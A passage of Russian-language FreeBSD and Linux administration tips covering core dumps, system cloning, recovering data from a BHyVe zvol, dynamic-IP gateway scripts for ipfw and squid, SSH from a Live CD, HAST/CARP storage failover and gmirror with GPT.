    FreeBSD (%U.%N.%P=user.имя_процесса.pid, подробнее - man core):
       sysctl -w kern.corefile=/tmp/%U.%N.%P.core
       
    Linux (последние ядра):
       sysctl -w kernel.core_pattern=/tmp/%e.%p.core (строка не больше 64 байт)
       или через /proc/sys/kernel/core_pattern
    
    Максимальный размер core файла задается через:
       ulimit -c 100
    
     
    ----* Как завести нового пользователя в FreeBSD в автономном режиме ? (доп. ссылка 1)   [обсудить]
     
    Нужно использовать не команду adduser, а команду pw (man pw, pw useradd help). Например: 
      pw useradd -n логин -c 'комментарий, фио' -d /home/логин -m -s /bin/true
    
     
    ----* Какие программы в FreeBSD занимаются переиндексацией системных баз   [комментарии]
     
    /bin/sh MAKEDEV all  (dev_mkdb)
    /usr/bin/newaliases
    /usr/bin/cap_mkdb /etc/login.conf
    /usr/sbin/pwd_mkdb -p /etc/master.passwd
    
     
    ----* Как создать рабочий дубликат Linux или FreeBSD системы.   [обсудить]
     
    1. Монтируем новый жесткий диск.
    
    2. Создаем разделы на новом диске с помощью fdisk (для freebsd /stand/sysintall
    или /usr/sbin/sysinstall). Создаем файловую систему.
    
    3. Копируем файлы на новый диск (кроме каталога /mnt, не допускаем рекурсии !!!)
       find / -xdev | cpio -pdumv /mnt/new    - на каждый раздел.
       или tar cf - /bin /usr /etc д.р.| tar xf - -C /mnt/new
       или cd /mnt/new; dump -0u -f - /директории| restore -r -f -
       или cp -Raxv / /mnt/new  - на каждый раздел.
       или pax -r -w -p e / /mnt  (говорят копирует гораздо быстрее чем dump/restore)
       или просто копируем в Midnight Commander'е (не рекомендуется).
    
       Лучший способ - dump/restore или rsync, иначе можно потерять расширенные атрибуты и ACL.
    
    4. Редактируем /mnt/new/etc/fstab
    
    5. Создаем с помощью /dev/MAKEDEV недостающие устройства (для нового типа диска).
    
    6. mkdir /mnt/new/proc /mnt/new/mnt
    
    7a. Только для Linux: правка /etc/lilo.conf и запуск lilo -r /mnt/new -b /dev/hdb
       При возникновении ошибки при загрузке:
       Было:
       boot=/dev/sda
       default=linux-up
       image=/boot/vmlinuz-up
            label=linux-up
            root=/dev/sda2
            initrd=/boot/initrd-up.img
       
       Предположим, что дубликат размещен на /dev/sdb, тогда меняем boot=/dev/sda на boot=/dev/sdb
       и добавляем:
       disk=/dev/sdb
          bios=0x80
       
      Выполняем lilo -r /mnt/new и не забываем убирать исправления из lilo.conf.
    
    7b. Для freebsd загрузчик устанавливается после разбиения диска на разделы через sysintall.
    PS. Если диски одинаковые можно использовать dd if=/dev/hda of=/dev/hdb,
       если разделы одинаковые: dd if=/dev/hda1 of=/dev/hdb1
    
     

       FreeBSD специфика
    Сис. информация, оптимизация и тюнинг FreeBSD
    Увеличение безопасности FreeBSD
    Установка и апгрейд FreeBSD и приложений.

    ----* Подключение в BHyVe zvol-диска с другой машины   Автор: КриоМух  [комментарии]
     
    Ситуация такова: Когда-то давно в 2019 году, обратилась знакомая бухгалтер, с
    проблемой, что вирусы зашифровали все её базы 1С, хранящиеся на личном сервере,
    который ей поднял и оформил для работы по RDP - её айтишник. Когда вирус всё
    пожрал, внезапно обнаружилось, что отсутствуют резервные копии, так как они
    хранились на том же WIN-сервере, и оказались также пожранными. Более того, в
    процессе разбирательств с этой машиной, выяснилось, что там 4 диска, 2 - HDD и
    2 SSD - и при этом все они отдельными устройствами, без намёка на хоть какую-то
    реализацию зеркалирования. Айтишника этого она с позором выгнала (отказавшись с
    ним иметь дело) и обратилась ко мне.
    
    Понятно что не за восстановлением пожранного, а за организацией сервера, в
    работе и надёжности которого она бы могла быть уверена.
    
    Я как старый пользователь FreeBSD, конечно сразу ей сформировал предложение -
    эту её машину превратить в сервер на FreeBSD, а уже на нём развернуть виртуалку
    с виндой, 1С и всей этой нужной для её работы кухней.
    
    На предложение докупить ещё один ПК, чтобы был отдельной машиной для резервных
    копий - отказалась, так как женщина она во-первых бухгалтер, а во-вторых
    прижимистый бухгалтер :)
    
    Всё ей в итоге оформил в виде хоста на FreeBSD, c её ZFS-ным зеркалом на 2 HDD
    и 2 SSD, и самбой, на которую складировались ежедневные бэкапы, которые затем
    скриптом самого хоста перекладывались в samba-ресурс, доступный только на чтение.
    
    Виртуалку оформил на BHyVe'е, так как виртуалбокс  медленнен, а BHyVe и
    православный и производительней. Sparse - файлом оформил диск на HDD-пуле под
    систему в виртуалке, и SSD-пул - подключил zvol'ом как диск под базы 1С.
    
    Разворачивал BHyVe не голый, а с управлением с помощью vm-bhyve. Всё
    завелось и работало, как часы. Но через год-полтора, женщина-бухгалтер и со
    мной "рассталась", так как всё работало, а я за поддержку желал ежемесячную,
    оговорённую сумму.
    
    Никаких козней я понятное дело не строил, да и не собирался, так как честь
    IT-шную беречь должно всегда. И все актуальные копии хранилища со всеми
    доступами и чего там наворочено в её "инфраструктуре" я ей при внесении правок
    сразу высылал и при завершении сотрудничества также актуальную выдал, с
    пояснениями, что там всё что есть, все доступы и прочая-прочая, что может
    понадобиться знать любому, кто будет заниматься её сервером. Ответы на все
    вопросы так сказать. Всё.
    
    Собственно прошло 3-4 года, и вот недавно звонит она мне и говорит, что всё
    пропало. Сервак не грузится, её текущий админ не знает что со всем этим делать,
    так как с его слов "там сложная распределённая система и диски эти не может
    посмотреть". Короче сервак подох, ничего не работает, и ей главное выцарапать
    оттуда 1С базы.
    
    Получил, включил, смотрю: Действительно ничего не грузится, что-то там с uefi
    разделом, и загрузка дохнет на начальных этапах. Думаю - ничего страшного, там
    же бэкапы были, сейчас быстренько смонтирую пул, да последний достану и дело с
    концом. Загрузился с флешки, подмонтировал пул, который был HDD, под самбу -
    смотрю а бэкап последний лежит прошлогодний. Место на пуле закончилось, так как
    самбу они ещё и как файловую шару использовали и накидали туда всякого, что
    подъело весь ресурс и баз видимо 1С ещё добавилось, и бэкапы делаться просто не
    смогли, а текущий специалист, то ли не следил, то ли не знал как следить,
    короче перефразируя (надеюсь) из тех, кто: "Не следил и не проверял бэкапы, но
    теперь уже будет всегда это делать (ещё раз надеюсь)".
    
    Тогда остался один путь - получить данные непосредственно с диска в виртуалке,
    который реализован был как отдельный датасет на SSD пуле. Отцепил я значит один
    из SSD'шников и подключил к своему домашнему ПК, на котором у меня также
    FreeBSD и виртуалка BHyVe, с виндой, на случай если что-то виндовое
    потребуется. В общем вся соль этого была в подключении к BHyVe'овой машине
    диска оформленного как сырой ZFS-датасет. То есть в нём ни файлов нет, просто
    особого типа ZFS датасет.
    
    В итоге, чтобы его подключить на посторонней системе с FreeBSD, надо конечно
    первым делом ZFS-пул импортировать:
    
       zpool import -f
    
    -f нужен, так как он ругнётся что этот пул использовался на другой машине и
    вроде как может не надо его тут подключать.
    
    А после этого в 
    
       zfs list 
    
    ищем где наш датасет и объявляем его в конфигурации нашей рабочей виртуалки:
    
       disk1_type="virtio-blk"
       disk1_dev="custom"
       disk1_name="/dev/zvol/oldSSD/BHYVE/1C-BASES"
    
    И это тут так всё просто и безоблачно описано, а на деле я часа два наверное
    бодался с тем, как именно объявить zvol-овый диск в BHyVe. И в итоге
    
    
  • disk_type - должен быть virtio-blk
  • disk_dev - должен быть custom
  • disk_name - абсолютный путь к zvol'у в /dev, сперва это можно просто проверить ls'ом. Ну а дальше - ещё в самой загруженной ОСи диск не увиделся, но появился SCSI контроллер какой-то, который потребовал драйвера с диска virtio-win-0.1.229 и всё. Женщина - оплатила услуги непростого восстановления файлов, получила инструктаж на тему того, что её админ должен ей подтверждать что бэкап есть и он надёжен. Ну а она со своей стороны должна за этим бдить :)
  •  
    ----* Быстрый посмотр конфигурации GEOM во FreeBSD (доп. ссылка 1)   Автор: Mikhail Zakharov  [комментарии]
     
    Диски, разделы, метки, gmirror и всё прочее:
    
       sysctl -n kern.geom.conftxt
    
    или
    
       sysctl -n kern.geom.confxml
    
    Простой скрипт парсинга конфигурации GEOM: https://github.com/mezantrop/geom_show
    
    Например:
    
       ./geom_show.sh -l -c DISK -s ";"
    
       Class;Provider;Mediasize;Sectorsize;Stripesize;Stripeoffset;Heads;Sectors;RPM;Ident;Description
       DISK;ada1;52428800;512;0;0;16;63;unknown;VBef22e825-34dd5784;VBOX HARDDISK
       DISK;ada0;25769803776;512;0;0;16;63;unknown;VB05968cbc-2007b6c8;VBOX HARDDISK
       DISK;cd0;0;2048;0;0;0;0;unknown;;VBOX CD-ROM
       DISK;da1;740294656;512;0;0;64;32;unknown;;VBOX HARDDISK
       DISK;da0;62914560;512;0;0;64;32;unknown;;VBOX HARDDISK
    
       sysctl -n kern.geom.confxml | ./geom_show.awk -v class=PART -v ofs=" "
    
       Class Provider Mediasize Sectorsize Stripesize Stripeoffset Start End Index Type
       PART ada0p3 1073700352 512 0 3221245952 48234536 50331606 3 freebsd-swap
       PART ada0p2 24695537664 512 0 544768 1064 48234535 2 freebsd-ufs
       PART ada0p1 524288 512 0 20480 40 1063 1 freebsd-boot
    
     
    ----* Установка параметров шлюза на базе FreeBSD по динамическому адресу   Автор: als  [комментарии]
     
    Введение
    
    На сервере FreeBSD 10.1 установлены два интернет канала. Первый вполне
    нормальный Ethernet, выделенный ip адрес.
    Второй - LTE модем, адрес соответственно динамический.
    Весь трафик squid должен уходить на второй канал.
    Для этого используется опция tcp_outgoing в squid.conf
    В правилах ipfw добавлены два правила для обеспечения forward на новый шлюз
    
       ipfw add 10 fwd <адрес шлюза на втором канале> all from <динамический адрес второго канала> to not 192.168.1.0/24 out
       ipfw add 11 pass all from any to <динамический адрес второго канала> via <интерфейс LTE модема> in
    
    Механизм ясен. Осталось сделать следующее:
    
    1. При изменении динамического адреса надо подставлять новые значения в ipfw и в squid
    
    2. Сделать это при старте сервера
    
    По тексту интерфейс ue0 - интерфейс LTE модема.
    
    Получение нового динамического адреса
    
    После инициализации модема и запуска dhclient мы получим динамический IP адрес.
    dhclient формирует leases в своем файле.
    
    Пример файла:
    
    	lease {
    	  interface "ue0";
    	  fixed-address 100.67.50.124;
    	  option subnet-mask 255.255.255.248;
    	  option routers 100.67.50.121;
    	  option domain-name-servers 83.149.32.225,83.149.32.224;
    	  option dhcp-lease-time 518400;
    	  option dhcp-message-type 5;
    	  option dhcp-server-identifier 100.67.50.121;
    	  option dhcp-renewal-time 259200;
    	  option dhcp-rebinding-time 453600;
    	  renew 1 2015/6/15 08:59:05;
    	  rebind 3 2015/6/17 14:59:05;
    	  expire 4 2015/6/18 08:59:05;
    	}
    	lease {
    	  interface "ue0";
    	  fixed-address 100.67.3.43;
    	  option subnet-mask 255.255.255.248;
    	  option routers 100.67.3.41;
    	  option domain-name-servers 83.149.32.225,83.149.32.224;
    	  option dhcp-lease-time 518400;
    	  option dhcp-message-type 5;
    	  option dhcp-server-identifier 100.67.3.41;
    	  option dhcp-renewal-time 259200;
    	  option dhcp-rebinding-time 453600;
    	  renew 6 2015/6/13 16:12:27;
    	  rebind 1 2015/6/15 22:12:27;
    	  expire 2 2015/6/16 16:12:27;
    	}
    
    Lease в текущий момент будет последним. Нас интересует две строки.
    fixed-address - это сам динамический адрес. option routers - это адрес шлюза на
    этом интерфейсе.
    
    Я получаю эти поля через awk, только потому, что lease несколько и нам нужен
    последний. Через awk это удобно сделать.
    
    Скрипт для получения ip
    megafon_get_ip.awk:
    
    	BEGIN {nline=1
    	}
    	
    	{
    	   tag1[nline]=$1
    	   tag2[nline]=$2
    	   nline=nline+1
    	}
    	
    	END {
    	    for (u=1;u<nline;u++)
    	      {
    	        if (tag1[u]=="fixed-address")
    	        {
    	# Делаем замену последнего символа, что бы не мешал.
    	                gsub(";","",tag2[u]);
    	                ip = tag2[u];
    	        }
    	      }
    	    print ip;
    	    }
    
    Скрипт для получения routers
    
    megafon_get_router.awk:
    
    	BEGIN {nline=1
    	}
    	
    	{
    	   tag2[nline]=$2
    	   tag3[nline]=$3
    	   nline=nline+1
    	}
    	
    	END {
    	    for (u=1;u<nline;u++)
    	      {
    	        if (tag2[u]=="routers")
    	        {
    	# Делаем замену последнего символа, что бы не мешал.
    	                gsub(";","",tag3[u]);
    	                router = tag3[u];
    	        }
    	      }
    	
    	   print router;
    	}
    
    Обновление таблиц ipfw
    
    Считывание нового динамического адреса и адреса шлюза в ipfw сделано через cat
    
    Выдержка из rc.firewall:
    
    	...
    	eth_megafon="ue0"
    	ip_megafon=`cat /etc/megafon_ip`
    	router_megafon=`cat /etc/megafon_router`
    	${fwcmd} add 10 fwd $router_megafon all from $ip_megafon to not 192.168.0.0/16 out
    	${fwcmd} add 11 pass all from any to $ip_megafon via $eth_megafon in
    	...
    
    Как видно, текущие адреса хранятся в /etc/megafon_ip и /etc/megafon_router
    
    Обновление squid.conf
    
    К сожалению, опция tcp_outgoing_address требует указания адреса. То есть фокус
    как в rc.firewall не пройдет.
    Значит надо будет делать замену.
    
    Создаем файл squid.conf.etalon:
    	...
    
    	tcp_outgoing_address #ip_megafon#
    
    	...
    
    И остается применить 
    
       sed 's/#ip_megafon#/'< новый динамический адрес >'/g' /usr/local/etc/squid/squid.conf.etalon > /usr/local/etc/squid/squid.conf
    
    Основной скрипт
    
    Итак, получать новые адреса научились. Обновлять в ipfw, менять squid.conf тоже.
    
    Полученные новые адреса пишем во временные файлы, потом сравниваем новый
    динамический адрес с прежним.
    Прежний (текущий) адрес храним в файл /etc/megafon. Если адреса не совпадают,
    обновляем файл с адресом и запускаем механизм обновления
    
    megafon_get_ip:
    
    	#Получаем новый ip
    	awk -f /usr/local/scripts/megafon_get_ip.awk /var/db/dhclient.leases.ue0 > /tmp/megafon_ip
    	
    	#Получаем новый router. Хотя можно и позже, но для удобства понимания можно и тут
    	awk -f /usr/local/scripts/megafon_get_router.awk /var/db/dhclient.leases.ue0 > /tmp/megafon_router
    	
    	#Сравниваем его с существующим
    	ip_new=`cat /tmp/megafon_ip`
    	ip_now=`cat /etc/megafon_ip`
    	
    	if [ $ip_new != $ip_now ]; then
    	        # Обновляем файлы. Нужно обновлять и таблицы ipfw
    	        cp /tmp/megafon_ip /etc/megafon_ip
    	        cp /tmp/megafon_router /etc/megafon_router
    	
    	        #Обновляем ipfw. Эта конструкция не отрубает соединение при обновлении правил ipfw
    		sh /etc/rc.firewall > /dev/null 2>&1
    	
     	       #Формируем новый конфиг squid. К сожалению, tcp_outgoing не умеет брать адрес из файла.
             sed 's/#ip_megafon#/'$ip_new'/g'
    /usr/local/etc/squid/squid.conf.etalon > /usr/local/etc/squid/squid.conf
    	
    	        #Рестарт squid.
    	        /usr/local/sbin/squid -k reconfigure
    	fi
    
    Запуск основного скрипта при старте сервера
    
    Для получения динамического адреса самым простым виделось поставить в rc.conf
    строку ifconfig_ue0="DHCP"
    
    Но модем от Мегафона, его надо инициализировать перед запросом адреса. Заодно
    обеспечим вызов основного скрипта.
    Создал /usr/local/etc/rc.d/megafon
    
    megafon:
    
    	#!/bin/sh
    	#
    	# PROVIDE: megafon
    	# REQUIRE: dhclient
    	# KEYWORD: shutdown
    	
    	. /etc/rc.subr
    	
    	name=megafon
    	
    	load_rc_config ${name}
    	
    	command=/usr/local/etc/megafon
    	command_args=""
    	
    	run_rc_command "$1"
    
    В rc.conf добавляем:
    
    	...
    	megafon="YES"
    	...
    
    Сам стартовый скрипт
    
    /usr/local/etc/megafon:
    
    	#Инициализация модема
    	echo 'AT^NDISDUP=1,1,"internet"' > /dev/cuaU1
    	#Стартуем клиента
    	/sbin/dhclient -b ue0
    
     #Через 10 секунд надо вызвать обновление таблиц и всего остального. Приводит к
    10 секундной задержке старта сервера.
    	sleep 10
    	#Вызов основного скрипта
    	/usr/local/scripts/megafon_get_ip
    
    Периодическое обновление 
    
    Механизма вызова сторонних скриптов при обновлении динамического адреса не
    нашел. Если поставить основной скрипт в cron с периодом запуска 1 минута, то
    при обновлении адреса время потери составит связи не больше 1 минуты.
    
     
    ----* Организация входа по SSH в окружение Live-диска FreeBSD (доп. ссылка 1)   [комментарии]
     
    В процессе восстановления сбойного сервера гораздо удобнее проводить
    восстановительные работы с привычной рабочей станции, соединившись по SSH. При
    этом не всегда имеется возможность загрузить сбойную систему и обеспечить её
    доступ к сети, что вынуждает пользоваться Live-окружением в процессе
    восстановления. Ниже представлена инструкция, как запустить SSH-сервер в
    окружении FreeBSD Live CD.
    
    Загрузившись в Live-CD запускаем командную оболочку через кнопку Shell.
    
    Поднимаем и настраиваем сетевой интерфейс:
    
       dhclient em0
    
    или при статическом назначении IP:
    
       ifconfig em0 inet 1.2.3.4 netmask 255.255.255.0 
    
    
    Перемонтируем  раздел /etc  для обеспечения записи данных, создав доступный на
    запись слой поверх оригинальной read-only основы при помощи UnionFS:
    
       mkdir /tmp/etc
       mount_unionfs /tmp/etc /etc
       
    Правим конфигурацию sshd, например, разрешим вход от пользователя root:
    
       vi /etc/ssh/sshd_config
    
    Установим пароль для пользователя root:
    
       passwd root
    
    Запустим sshd (скрипт автоматически сгенерирует все нужные для хоста ключи):
    
       service sshd onestart
    
    
    Подключаемся с другой машины по SSH и выполняем восстановительные работы.
    
     
    ----* Создание отказоустойчивого хранилища на базе FreeBSD или FreeNAS с использованием ZFS, HAST и CARP (доп. ссылка 1)   [комментарии]
     
    Начиная с FreeBSD 8.1 в состав включена поддержка системы репликации устройств
    хранения данных HAST (Highly Avalable STorage), позволяющей создавать
    высоконадежные конфигурации, в которых данные синхронизированы между
    несколькими узлами. HAST реализован в виде работающего на уровне пользователя
    демона hastd, использующего стандартный класс GEOM Gate для обработки запросов
    ввода/вывода. Hastd, обеспечивает синхронную репликацию блочных устройств
    поверх TCP/IP сетей, независимо от типа накопителя и файловой системы. HAST
    предусматривает возможность быстрого восстановления после сбоя, причём, при
    выходе из строя первичного master-узла, его функции могут быть делегированы
    slave-узлу. После проверки и монтирования UFS раздела или импорта ZFS пула на
    поврежденном узле, система автоматически синхронизирует внесенные за время
    восстановления изменения и продолжит работу без потери данных.
    
    Для быстрого развёртывания хранилищ удобно использовать дистрибутив FreeNAS. К
    сожалению в настоящее время FreeNAS не поддерживает HAST из коробки, но так как
    во FreeNAS используются стандартные компоненты FreeBSD 8.x, ни что не мешает
    самостоятельно вручную создать и надстроить работу подобных хранилищ.
    
    После первой загрузки FreeNAS настроим параметры сетевого доступа и DNS. Первый
    узел freenas1 будет иметь IP 192.168.137.31, а второй freenas2 -
    192.168.137.32. После первичной типовой настройки подключимся к shell.
    
    
    Настройка узла HAST
    
    Перемонтируем корневой раздел для обеспечения возможности записи:
    
      mount -uw /
     
    Создадим массив хранения RAID3 из дисков da1, da2, da3.
    
       graid3 label gr0raid3 da1 da2 da3
    
    В итоге будет создано устройство /dev/raid3/gr0raid3
     
    Включим поддержку CARP и активируем демон hastd:
    
       cat <<EOF >> /conf/base/etc/rc.conf
       ifconfig carp0 create
       ifconfig carp0 vhid 1 pass freenashast 192.168.137.30/24
       # enable HAST daemon
       hastd_enable="YES"
       EOF
     
    Если в директории  /boot/kerneldaemon отсутствует модуль if_carp.ko, скопируем
    его из системы на базе FreeBSD 8.2 или 8.3.
    
    Создадим файл конфигурации hast.conf, в котором определим /dev/raid3/gr0raid3 в
    качестве синхронизируемого между узлами хранилища:
    
       cat <<EOF > /conf/base/etc/hast.conf
       resource freenashast {
            on freenas1 {
                    local /dev/raid3/gr0raid3
                    remote freenas2
            }
            on freenas2 {
                    local /dev/raid3/gr0raid3
                    remote freenas1
            }
       }
       EOF
     
    Копируем hast.conf в директорию /etc и перезагружаем систему:
    
       cp /conf/base/etc/hast.conf /etc
     
    Создаём хранилище hast:
    
       hastctl create freenashast
     
    После появления устройства /dev/hast/freenashast назначаем текущему узлу роль первичной системы:
    
       hastctl role primary freenashast
     
    Создаём zpool в хранилище freenashast
    
       zpool create -m /mnt gr0 /dev/hast/freenashast
    
    Создаём символическую ссылку на директорию RAID3, чтобы web-интерфейс FreeNAS
    распознал вручную созданное хранилище:
    
       ln -s /dev/hast/freenashast /dev/raid3/gr1raid3
     
    После этого в GUI FreeNAS можно автоматически импортировать раздел gr0 и
    настроить совместный доступ  с использованием штатного web-интерфейса.
    
     
    Настроим демон devd для переключения HAST из режима master в slave и наоборот в
    зависимости от состояния сетевого линка:
    
       cat <<EOF >> /conf/base/etc/devd.conf
       notify 30 {
            match "system" "IFNET";
            match "subsystem" "carp0";
            match "type" "LINK_UP";
            action "/usr/local/sbin/carp-hast-switch master";
       };
     
       notify 30 {
            match "system" "IFNET";
            match "subsystem" "carp0";
            match "type" "LINK_DOWN";
            action "/usr/local/sbin/carp-hast-switch slave";
       };
       EOF
     
    Создадим скрипт hast-carp-switch, который будет выполнять переключение режимов:
    
       cat <<EOF > /usr/local/sbin/carp-hast-switch
    
       #!/bin/sh
       resources="freenashast"
       zfspool="gr0"
       delay=3
       log="local0.debug"
       name="carp-hast"
     
       case "$1" in
            master)
                    logger -p $log -t $name "Switching to primary provider for $resources."
                    # in order to wait for the original primary provider to change role state
                    # otherwise, brain-split may happen
                    sleep $delay
                    for disk in $resources; do
                            # ensure that this storage can be switched                        
                            while $(pgrep -lf "hastd: $disk \\(secondary\\)" > /dev/null 2>&1 ); do
                                    sleep 1
                            done
     
                            # Switch role for each disk
                            hastctl role primary $disk
                            if [ $? -ne 0 ]; then
                                    logger -p $log -t $name "Unable to change role to primary for resouce ${disk}."
                                    exit 1
                            fi
                    done
     
                    # Wait for the /dev/hast/* devices to appear
                    for disk in $resources; do
                            for I in $(jot 60); do
                                    [ -c "/dev/hast/${disk}" ] && break
                                    sleep 0.5
                            done
                            if [ ! -c "/dev/hast/${disk}" ] ; then
                                    logger -p $log -t $name "GEOM provider /dev/hast/$disk did not appear."
                                    exit 1
                            fi
                    done
     
                    logger -p $log -t $name "Role for HAST resources switched to primary."
     
                    logger -p $log -t $name "Importing ZFS pool."
                    zpool import -f $zfspool
     
                    # restart the enabled services
                    for srv in $(sqlite3 /data/freenas-v1.db "select srv_service from services_services where srv_enable=1" \\
                                    | xargs printf "grep 'bool_.*%s' /etc/rc.conf.local\\n" | sh | awk '{print $2}')
                   do
                             case $srv in
                                 winbindd_enable|samba_enable) /etc/local/rc.d/samba restart
                                            ;;
                                 netatalk_enable)        /etc/local/rc.d/netatalk restart
                                            ;;
                                 proftpd_enable)         /etc/local/rc.d/proftpd restart
                                            ;;
                                 inetd_enable)           /etc/rc.d/inetd restart
                                            ;;
                                 nfs_server_enable)      /etc/rc.d/nfsserver restart
                                            ;;
                                 mountd_enable)          /etc/rc.d/mountd restart
                                            ;;
                                 nfsd_enable)            /etc/rc.d/nfsd restart
                                            ;;
                                 rsyncd_enable)          /etc/local/rc.d/rsyncd restart
                                            ;;
                             esac
                  done
     
                    ;;
     
            slave)
                    logger -p $log -t $name "Switching to secondary provider for $resources."
                    # stop the running services
                    for srv in $(sqlite3 /data/freenas-v1.db "select srv_service from services_services where srv_enable=1" \\
                                    | xargs printf "grep 'bool_.*%s' /etc/rc.conf.local\\n" | sh | awk '{print $2}')
                   do
                             case $srv in
                                 winbindd_enable|samba_enable) /etc/local/rc.d/samba stop
                                            ;;
                                 netatalk_enable)        /etc/local/rc.d/netatalk stop
                                            ;;
                                 proftpd_enable)         /etc/local/rc.d/proftpd stop
                                            ;;
                                 inetd_enable)           /etc/rc.d/inetd stop
                                            ;;
                                 nfs_server_enable)      /etc/rc.d/nfsserver stop
                                            ;;
                                 mountd_enable)          /etc/rc.d/mountd stop
                                            ;;
                                 nfsd_enable)            /etc/rc.d/nfsd stop
                                            ;;
                                 rsyncd_enable)          /etc/local/rc.d/rsyncd stop
                                            ;;
                           esac
                    done
     
                    # export the zfs pool & change role to slave
                    for disk in $resources; do
                            zpool export -f $zfspool
                            sleep $delay
                            hastctl role secondary $disk 2>&1
                            if [ $? -ne 0 ]; then
                                    logger -p $log -t $name "Unable to switch role to secondary for resource $disk."
                                    exit 1
                            fi
                            logger -p $log -t name "Role switched to secondary for resource $disk"
                    done
                    ;;
            *)
                    logger -p $log -t $name "Usage: $0 "
                    exit 1
                    ;;
       esac
    
    Поменяем права доступа и перезагрузим систему: 
    
       chmod +x /usr/local/sbin/carp-hast-switch
       reboot
    
    После перезагрузки вручную установим первичный режим HAST для созданного хранилища:
    
       hastctl role primary freenashast
    
    Выше представленная инструкция рассчитана на создание master-узла. Для
    запасного slave-узла, который возьмёт на себя управление в случае сбоя
    первичного узла, настойка выполняется аналогично, за одним исключением - для
    интерфейса carp0 должен быть установлен меньший приоритет, чем на master-узле:
    
       ifconfig carp0 vhid 1 pass freenashast advskew 100 192.168.137.30/24
    
     
    ----* Настройка gmirror при использовании GPT во FreeBSD 9   Автор: Mikhail Zakharov  [комментарии]
     
    С релизом FreeBSD-9.0, GPT-формат разделов жестких дисков стал, наконец, делом
    обыденным, ведь даже новый инсталлятор предполагает использование GPT
    по-умолчанию. Однако в связи с переходом на GPT-разметку дисков возникают и
    сложности, поскольку очень многое, в том числе и документация, продолжает быть
    завязано на ныне устаревший механизм MBR-разделов или слайсов. Так, например, к
    своему огорчению я обнаружил, что большинство разделов Handbook'а посвященных
    дискам, GEOM-классам и файловым системам изобилуют примерами работ со старыми
    слайсами, а не используют для этой цели новый формат GPT.
    
    Более того, в январе 2012 года, в разделе учебника, посвященного использованию
    gmirror, я внезапно наткнулся на предостережение, которое прямо указывает на
    невозможность сочетания FreeBSD-9.x, gmirror и GPT-разметки дисков:
    
    Warning: Creating a mirror out of the boot drive may result in data loss if any
    data has been stored on the last sector of the disk. This risk is reduced if
    creating the mirror is done promptly after a fresh install of FreeBSD. The
    following procedure is also incompatible with the default installation settings
    of FreeBSD 9.X which use the new GPT partition scheme. GEOM will overwrite GPT
    metadata, causing data loss and possibly an unbootable system.
    
    Примечательно, что в русскоязычном варианте Handbook'а часть этого
    предупреждения относительно использования GPT-разделов вместе с gmirror во
    FreeBSD-9.x попросту отсутствует.
    
    Терзаемый неприятным чувством, что поддержка GPT дисков во FreeBSD далека еще
    от совершенства, я решил выяснить, действительно-ли в настоящий момент дисковая
    функциональность FreeBSD-9.0R не может объединить технологии gmirror -
    программного зеркала (RAID-1) и разделов GPT.
    
    Чаще всего gmirror используется в двух вариантах. Первый, это формирование
    зеркала из "сырых" дисков, с последующим созданием на зеркале разделов и
    файловых систем. Договоримся для краткости называть его gmirror+GPT.
    
    Второй способ предполагает создание одного, или нескольких разделов на диске и
    последующее зеркалирование этих разделов на другой диск. Этот метод будем
    называть GPT+gmirror.
    
    
    gmirror+GPT 
    
    Итак, чтобы при помощи gmirror собрать RAID-1, а затем создать поверх него
    разделы GPT нам потребуется дистрибутив FreeBSD-9.0R и два установленных в
    компьютер жестких диска.
    
    Рекомендуется, чтобы оба жестких диска были одинаковыми по всем
    характеристикам: объему, скорости вращения шпинделей, размеру буфера памяти и
    т.д. И хоть эти условия для применения gmirror не являются обязательными,
    однако нужно понимать, что в случае использования различия дисков,
    характеристики зеркала будут определяться худшим диском.
    
    К сожалению, в настоящий момент инсталлятор FreeBSD не умеет управлять модулем
    gmirror, поэтому создавать RAID-1 нам придется своими собственными руками. Для
    этого загружаемся с инсталляционного диска но, запуская установку, переходим в
    shell, сразу, как только инсталлятор предоставит нам эту возможность:
    
    
    
    Попав в командную строку, начинаем подготовку зеркала. Бегло проглядев вывод
    команды dmesg, обнаруживаем, что в связи с новым именованием устройств во
    FreeBSD-9.0, в нашем случае диски определились как ada0 и ada1. Ну, раз так,
    значит так, создадим из них зеркало gm0 и сразу же загрузим его:
    
       # gmirror label gm0 ada0 ada1
       # gmirror load
    
    Теперь в системе появился новый диск - gm0. Убедиться в этом можно посмотрев вывод команды:
    
       # ls -la /dev/mirror/gm0
    
    Однако этот диск пока сырой. Поэтому определим для него схему разбиения на
    разделы, в нашем случае - GPT и сделаем этот диск загрузочным:
    
       # gpart create -s gpt mirror/gm0
       # gpart bootcode -b /boot/pmbr -p /boot/gptboot -i 1 mirror/gm0
    
    На этом первая часть вмешательства в обычный ход инсталляции FreeBSD может быть
    закончена. В самом деле, зачем людям работать руками, если инсталлятор со всем
    остальным может справиться самостоятельно?  Поэтому смело набираем exit и
    выходим из shell'а, чтобы вернуться в инсталлятор, где нам будет предложено
    установить имя хоста и выбрать компоненты дистрибутива.
    
    Далее, когда инсталлятор загрузит редактор разделов, наше программное зеркало
    будет ему доступно также, как и два физических диска ada0 и ada1. Теперь после
    нашего краткого вмешательства, инсталлятор беспрепятственно позволит создать на
    зеркале необходимые разделы. Более того все изменения будут даже динамически
    отражаться на обеих половинах зеркала:
    
    
    
    Далее инсталляция пойдет как по маслу в обычном порядке и до своего логического завершения.
    
    Когда все закончится, перезагружаемся проверить все-ли мы сделали правильно, но
    здесь нас поджидает небольшой fail. С прискорбием мы обнаруживаем, что система
    загрузиться не может: ядро попросту не понимает, что такое gmirror и не видит зеркала.
    
    Выругавшись нехорошими словами, снова вставляем инсталляционный диск и
    загружаемся в так полюбившийся нам shell.
    
    Далее загружаем модуль gmirror и, вспомнив, что корневая файловая система
    находится на gm0p3, монтируем корень в /mnt.
    
       # gmirror load
       # mount /dev/mirror/gm0p3 /mnt
    
    Теперь остается добавить модуль gmirror в loader.conf для загрузки его вместе с
    ядром при старте системы:
    
       # echo &#8216;geom_mirror_load="YES"&#8217; > /mnt/boot/loader.conf
    
    На этом действительно все. Перезагружаемся и получаем работоспособную систему.
    Чтобы убедиться в этом, можно безбоязненно проводить тесты по поочередному
    отключению дисков.
    Единственный нюанс, внимательный администратор заметит во время загрузки
    системы настораживающее предупреждение:
    
       gptboot: invalid backup GPT header
    
    Andrey V. Elsukov - один из разработчиков FreeBSD объясняет это предупреждение так:
    "Причина понятна - GPT была создана поверх зеркала. Размер провайдера
    mirror/gm0 на 1 сектор меньше, чем размер диска, так как gmirror забирает
    последний сектор для хранения своих метаданных. Загрузчик gptboot ничего не
    знает о программном зеркале и ищет резервный заголовок GPT в конце диска, а там
    находятся метаданные gmirror.
